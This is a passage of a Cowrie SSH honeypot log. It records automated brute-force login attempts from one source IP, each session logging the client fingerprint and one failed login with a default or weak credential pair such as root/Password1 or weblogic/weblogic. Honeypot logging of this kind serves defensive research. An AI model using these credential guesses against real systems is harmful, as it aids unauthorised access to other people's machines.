d25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:57.189830Z","src_ip":"192.109.200.237","session":"9b29705c3258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:57.447860Z","src_ip":"192.109.200.237","session":"9b29705c3258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:58.533986Z","src_ip":"192.109.200.237","session":"9b29705c3258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36944,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83c9097e909","protocol":"ssh","message":"New connection: 192.109.200.237:36944 (159.203.135.109:22) [session: d83c9097e909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:00.180688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:00.186591Z","src_ip":"192.109.200.237","session":"d83c9097e909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:00.269801Z","src_ip":"192.109.200.237","session":"d83c9097e909","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:00.525405Z","src_ip":"192.109.200.237","session":"d83c9097e909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:01.695916Z","src_ip":"192.109.200.237","session":"d83c9097e909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36948,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c822a675570","protocol":"ssh","message":"New connection: 192.109.200.237:36948 (159.203.135.109:22) [session: 1c822a675570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:03.319309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:03.324634Z","src_ip":"192.109.200.237","session":"1c822a675570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:03.407820Z","src_ip":"192.109.200.237","session":"1c822a675570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:03.660747Z","src_ip":"192.109.200.237","session":"1c822a675570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:04.747343Z","src_ip":"192.109.200.237","session":"1c822a675570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59024,"dst_ip":"10.17.0.5","dst_port":23,"session":"efab2f962033","protocol":"telnet","message":"New connection: 192.119.13.58:59024 (10.17.0.5:23) [session: efab2f962033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:05.791640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36958,"dst_ip":"159.203.135.109","dst_port":22,"session":"406a9e95ef20","protocol":"ssh","message":"New connection: 192.109.200.237:36958 (159.203.135.109:22) [session: 406a9e95ef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:06.563568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:06.568261Z","src_ip":"192.109.200.237","session":"406a9e95ef20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:06.650604Z","src_ip":"192.109.200.237","session":"406a9e95ef20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:06.901877Z","src_ip":"192.109.200.237","session":"406a9e95ef20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:07.988559Z","src_ip":"192.109.200.237","session":"406a9e95ef20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36966,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e8d3ec4bfd","protocol":"ssh","message":"New connection: 192.109.200.237:36966 (159.203.135.109:22) [session: 11e8d3ec4bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:09.587625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:09.596382Z","src_ip":"192.109.200.237","session":"11e8d3ec4bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:09.678446Z","src_ip":"192.109.200.237","session":"11e8d3ec4bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:09.924598Z","src_ip":"192.109.200.237","session":"11e8d3ec4bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:11.011461Z","src_ip":"192.109.200.237","session":"11e8d3ec4bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54826,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5031d500408","protocol":"ssh","message":"New connection: 192.109.200.237:54826 (159.203.135.109:22) [session: b5031d500408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:12.741473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:12.746388Z","src_ip":"192.109.200.237","session":"b5031d500408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:12.830060Z","src_ip":"192.109.200.237","session":"b5031d500408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:13.080292Z","src_ip":"192.109.200.237","session":"b5031d500408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:14.166272Z","src_ip":"192.109.200.237","session":"b5031d500408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54832,"dst_ip":"159.203.135.109","dst_port":22,"session":"960f4281dc5b","protocol":"ssh","message":"New connection: 192.109.200.237:54832 (159.203.135.109:22) [session: 960f4281dc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:15.759861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:15.764812Z","src_ip":"192.109.200.237","session":"960f4281dc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:15.847866Z","src_ip":"192.109.200.237","session":"960f4281dc5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:16.097127Z","src_ip":"192.109.200.237","session":"960f4281dc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:17.183123Z","src_ip":"192.109.200.237","session":"960f4281dc5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54836,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b6b3132131c","protocol":"ssh","message":"New connection: 192.109.200.237:54836 (159.203.135.109:22) [session: 2b6b3132131c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:18.780690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:18.786244Z","src_ip":"192.109.200.237","session":"2b6b3132131c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:18.868388Z","src_ip":"192.109.200.237","session":"2b6b3132131c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:19.179828Z","src_ip":"192.109.200.237","session":"2b6b3132131c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:20.265246Z","src_ip":"192.109.200.237","session":"2b6b3132131c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40740,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c15de9258f","protocol":"ssh","message":"New connection: 192.109.200.237:40740 (159.203.135.109:22) [session: a4c15de9258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:21.877850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:21.881993Z","src_ip":"192.109.200.237","session":"a4c15de9258f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:21.963682Z","src_ip":"192.109.200.237","session":"a4c15de9258f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:22.208735Z","src_ip":"192.109.200.237","session":"a4c15de9258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:23.294161Z","src_ip":"192.109.200.237","session":"a4c15de9258f","protocol":"ssh"}
